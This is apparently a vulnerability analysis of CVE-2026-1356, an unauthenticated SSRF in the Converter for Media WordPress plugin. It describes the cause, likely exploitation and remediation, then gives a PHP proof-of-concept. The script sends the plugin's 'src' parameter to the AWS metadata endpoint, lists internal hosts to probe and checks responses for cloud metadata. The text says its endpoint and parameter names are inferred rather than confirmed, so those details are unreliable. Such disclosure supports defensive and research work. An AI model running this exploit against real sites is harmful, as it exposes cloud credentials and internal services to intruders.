Atomic Edge analysis of CVE-2026-1356 (metadata-based):
This vulnerability is an unauthenticated Server-Side Request Forgery (SSRF) in the Converter for Media WordPress plugin. The PassthruLoader::load_image_source function fails to validate user-supplied URLs before making external HTTP requests. Attackers can exploit this to probe internal networks and interact with internal services. The CVSS score of 4.8 reflects moderate impact with high attack complexity.
The root cause is improper input validation in the load_image_source function. Atomic Edge research infers that the function accepts a user-controlled parameter (likely ‘src’) and passes it directly to a server-side HTTP client like wp_remote_get() or file_get_contents(). The CWE-918 classification confirms the plugin does not restrict requests to internal IP addresses or localhost. These conclusions are inferred from the CWE and vulnerability description, not confirmed via code review.
Exploitation likely occurs through a public-facing endpoint that processes image URLs. The plugin slug ‘webp-converter-for-media’ suggests AJAX handlers like ‘webpc_ajax_passthru’ or REST routes under ‘/wp-json/webp-converter/’. Attackers would send HTTP requests with a malicious ‘src’ parameter containing internal IP addresses (192.168.1.1), localhost (127.0.0.1), or cloud metadata endpoints (169.254.169.254). The payload bypasses validation through URL encoding or alternative representations.
Remediation requires implementing allowlist validation for external image sources. The patch in version 6.5.2 likely added a domain validation check before making requests. Proper fixes should validate URL schemes (allow only http/https), restrict private IP ranges (RFC 1918), and block localhost addresses. WordPress developers should use the wp_http_validate_url() function for basic SSRF protection.
Successful exploitation enables attackers to scan internal networks and interact with unprotected services. Attackers can retrieve sensitive information from internal APIs, databases, or cloud metadata services. This vulnerability could facilitate lateral movement within corporate networks. While direct remote code execution is unlikely, data exposure from internal systems represents a significant security risk.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1356 - Converter for Media – Optimize images | Convert WebP & AVIF <= 6.5.1 - Unauthenticated Server-Side Request Forgery via src
<?php
$target_url = 'https://vulnerable-wordpress-site.com';
// Based on plugin patterns, the vulnerable endpoint is likely an AJAX handler
// Common patterns include: wp_ajax_nopriv_webpc_*, webpc_ajax_*, or REST endpoints
$endpoint = '/wp-admin/admin-ajax.php';
// The vulnerable parameter is inferred from the description mentioning 'src'
// The action parameter name is typical for WordPress AJAX handlers
$post_data = [
'action' => 'webpc_ajax_passthru', // Inferred from plugin slug patterns
'src' => 'http://169.254.169.254/latest/meta-data/' // AWS metadata endpoint
];
// Alternative internal targets for testing
$internal_targets = [
'http://127.0.0.1:8080/admin',
'http://192.168.1.1:80/',
'http://localhost/phpmyadmin/',
'http://10.0.0.1:22/' // SSH banner grab
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($response === false) {
echo "CURL Error: " . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response Length: " . strlen($response) . " bytesn";
// Check for indicators of successful SSRF
if (strpos($response, 'InstanceID') !== false ||
strpos($response, 'AMAZON') !== false ||
strpos($response, 'AWS') !== false) {
echo "[+] AWS metadata endpoint accessible!n";
}
// Display first 500 characters of response
echo "Response Preview: " . substr($response, 0, 500) . "n";
}
curl_close($ch);
// Note: This PoC is based on inferred endpoint patterns. Actual exploitation
// may require different action names or parameter structures.
?>
